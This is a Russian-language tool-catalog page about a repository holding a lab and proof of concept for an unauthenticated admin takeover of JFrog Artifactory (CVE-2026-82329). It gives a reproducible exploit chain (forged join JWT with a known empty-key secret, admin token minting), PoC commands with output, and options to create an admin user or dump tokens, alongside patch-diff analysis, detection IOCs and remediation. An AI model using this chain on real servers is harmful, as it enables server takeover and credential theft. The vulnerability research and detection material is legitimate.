Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/dinosn/cve-2026-82329-jfrog-artifactory
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность облачных средАутентификацияСтатьи и ИсследованияЛаборатории и Практика
GitHub
dinosn/cve-2026-82329-jfrog-artifactory

cve-2026-82329-jfrog-artifactory

Воспроизводимый Docker-лабораторный стенд и Python PoC для CVE-2026-82329 — неаутентифицированного обхода аутентификации в JFrog Artifactory, ведущего к захвату администратора, с анализом патч-диффа и рекомендациями по обнаружению.

Репозиторий
1114 ч 33 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-82329 — JFrog Artifactory неаутентифицированный обход аутентификации → получение прав администратора

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · раскрыта 2026-08-28 · эксплуатируется в реальных атаках.

Неаутентифицированный атакующий, имеющий сетевой доступ, создаёт токен доступа администратора платформы против стандартной self-hosted установки JFrog Artifactory. Этот каталог содержит воспроизводимую Docker лабораторию и валидатор PoC с параметризацией URL.

Воспроизведено и проверено методом A/B на artifactory-oss 7.161.19 (уязвимая, JFrog Access 7.191.11) против 7.161.20 (исправленная, JFrog Access 7.191.14).

Первопричина была выведена из самого патча вендора (дифф байткода закрытого сервиса JFrog Access между двумя образами контейнеров), а затем подтверждена вживую — не взята из сторонних публикаций.


Краткая цепочка эксплуатации (всё без аутентификации)

  1. Подделать JWT «присоединения» к кластеру. JFrog Access проверяет join JWT, используя join key платформы как HMAC-секрет. Из-за ошибки пустой join key попадает в доверенный набор ключей верификации при стандартной установке. getSigningKey("") = = — полностью известный секрет. Таким образом, любой может подписать валидный join JWT (, , свежий , любой , ).
pkcs7(<empty>, 32)
32 байта 0x20
alg=HS256
kid = SHA256("")
iat
service_id
skip_node_registration=true
  • POST /access/api/v1/registry/join (RegistryNoAuthResource — без аутентификации) → HTTP 201, возвращает токен SERVICE с областью admin (audience = Access).
  • POST /access/api/v1/tokens с этим токеном, scope=applied-permissions/admin&audience=* → полный административный токен доступа к платформе (это поведение «создания административных токенов», о котором сообщалось в реальных атаках).
  • Использовать его — прочитать всю конфигурацию сервера, перечислить/похитить все токены доступа, а на Pro/Enterprise создавать административных пользователей, репозитории и т.д.
  • root@kitploit:~
    $ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
    [+] Шаг 1  /registry/join           -> HTTP 201  создан токен SERVICE (scp=admin)
    [+] Шаг 2  /access/api/v1/tokens    -> HTTP 200  токен ADMIN (scp=applied-permissions/admin, aud=*)
    [+] Шаг 3  доказательство административных возможностей:
          GET /artifactory/api/system/configuration -> HTTP 200 (18284 байт, только для админа; без аутентификации=401)
          GET /access/api/v1/tokens (список ВСЕХ токенов) -> HTTP 200 (только для админа)
    [=] УЯЗВИМО - неаутентифицированный атакующий получил ADMIN на этом экземпляре (CVE-2026-82329).
    

    Первопричина (из диффа патча)

    JFrog Access 7.191.11 → 7.191.14 изменил ровно 12 классов. Критичные с точки зрения безопасности:

    1. Пустой join key молча доверяется — JoinKeyAccess.tryResolveJoinKeys()

    root@kitploit:~
    // УЯЗВИМО (7.191.11)
    Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
        JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" разрешено
        joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // пустой ключ добавлен в доверенный набор
        log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
    });
    
    // ИСПРАВЛЕНО (7.191.14)  -> пустые записи отфильтровываются
    Arrays.stream(joinKey.get().split(",")).map(String::trim)
          .filter(Strings::isNotBlank)
          .forEach(...);
    

    Если дополнительные join key не настроены (стандартная конфигурация), значение конфигурации равно ""; "".split(",") даёт [""], поэтому пустой JoinKeyHashPair (kid = SHA256("") = e3b0c442…b855) попадает в доверенную карту «дополнительных join key». JoinKeyHashPair также был ужесточён для отклонения null/пустых значений в конструкторе.

    Подтверждено на живом стандартном экземпляре — лог запуска сервера:

    root@kitploit:~
    o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
    

    Этот kid — ровно SHA256("").

    2. Пустой join key — известный HMAC-секрет — JoinKeyUtils.getSigningKey()

    root@kitploit:~
    public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
    // pkcs7-дополнение ПУСТОГО ключа: padLength = 32  ->  32 байта, каждый == (byte)32 == 0x20
    

    Таким образом, join JWT для пустого ключа подписывается с помощью HS256 на 32 байтах 0x20 — известных атакующему.

    3. Неаутентифицированная конечная точка join создаёт административный токен

    RegistryNoAuthResource (@Path("/v1/registry"), без @Authorized):

    root@kitploit:~
    @POST @Path("join")
    public Response join(String jwtStr) {                    // тело = сырой JWT
        JwtToken token = this.joinService.join(jwtStr, ...); // проверяет: свежий iat (<30s) + подпись join key
        return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
    }
    

    JoinServiceImpl → ServiceTokenProviderImpl.getToken():

    root@kitploit:~
    TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
        .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
    return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
    

    Неистекающий, с областью admin, подписанный RSA токен доступа. Токен сервиса scope("admin") затем может создать полный пользовательский токен applied-permissions/admin через POST /access/api/v1/tokens.

    4. Подтверждающее ужесточение — ProjectResource

    Две конечные точки переведены с @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) (GET/DELETE {projectKey}/resources), что подтверждает: примитив эксплуатации — подделанная SERVICE идентичность, а поверхность, авторизованная через SERVICE, была чрезмерно открыта.


    Затронутые / исправленные версии

    Только self-hosted (облако уже исправлено). Уязвимы версии ≤ последнего релиза в каждой ветке ниже; обновитесь до парной исправленной версии:

    ВеткаУязвима ≤Исправлена
    7.1117.111.207.111.21
    7.1177.117.277.117.28
    7.1257.125.197.125.20
    7.1337.133.287.133.29
    7.1467.146.377.146.38
    7.1617.161.197.161.20

    Исправление поставляется с JFrog Access 7.191.14.


    Воспроизведение (лаборатория)

    См. lab/README.md. Кратко:

    root@kitploit:~
    cd lab
    ART_VER=7.161.19 docker compose up -d          # уязвимая (стандартная); подождать ~3-4 мин
    until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> УЯЗВИМО
    
    docker compose down
    ART_VER=7.161.20 docker compose up -d          # исправленный контроль
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> НЕ УЯЗВИМО (join HTTP 400)
    

    Artifactory 7.161.x требует PostgreSQL (его сервис Access отказывается от встроенного Derby), поэтому в лабораторию включён sidecar-контейнер postgres.


    Проверка реальной цели

    root@kitploit:~
    python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1   # изменение состояния Pro/Ent
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only                     # вывести административный токен
    

    Направьте его на то, что обслуживает JFrog Router (доступен /access/…). Он сообщает УЯЗВИМО (получен admin) или НЕ УЯЗВИМО (join отклонён). Запускайте только против систем, на тестирование которых у вас есть разрешение.


    Обнаружение / IOC

    • Журнал запросов Access: POST /access/api/v1/registry/join с хостов вне кластера, особенно сразу за которым следует POST /access/api/v1/tokens.
    • Журнал сервиса Access: строка Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 … означает, что пустой join key доверяется (присутствует на неисправленных стандартных установках).
    • Аудит Access / хранилище токенов: неожиданные неистекающие токены с scope=applied-permissions/admin, audience=*, или административные токены с субъектом-сервисом (sub=<svc>, scp=admin, aud=<access-id>).
    • Join JWT, у которых claim kid равен SHA256("") (e3b0c442…b855).

    Устранение

    Обновитесь до исправленной версии для вашей ветки (таблица выше). Дополнительно: разместите Artifactory за обратным прокси, который не открывает /access/api/v1/registry/** для ненадёжных сетей, и после установки патча смените join key + отзовите неожиданные административные токены.


    Артефакты в этом каталоге: poc/ (валидатор), lab/ (Docker-лаборатория), analysis/ (диффы патчей + декомпилированные доказательства), EVIDENCE.md (захваченный вывод запуска). Только для авторизованных исследований безопасности.

    Скачать инструмент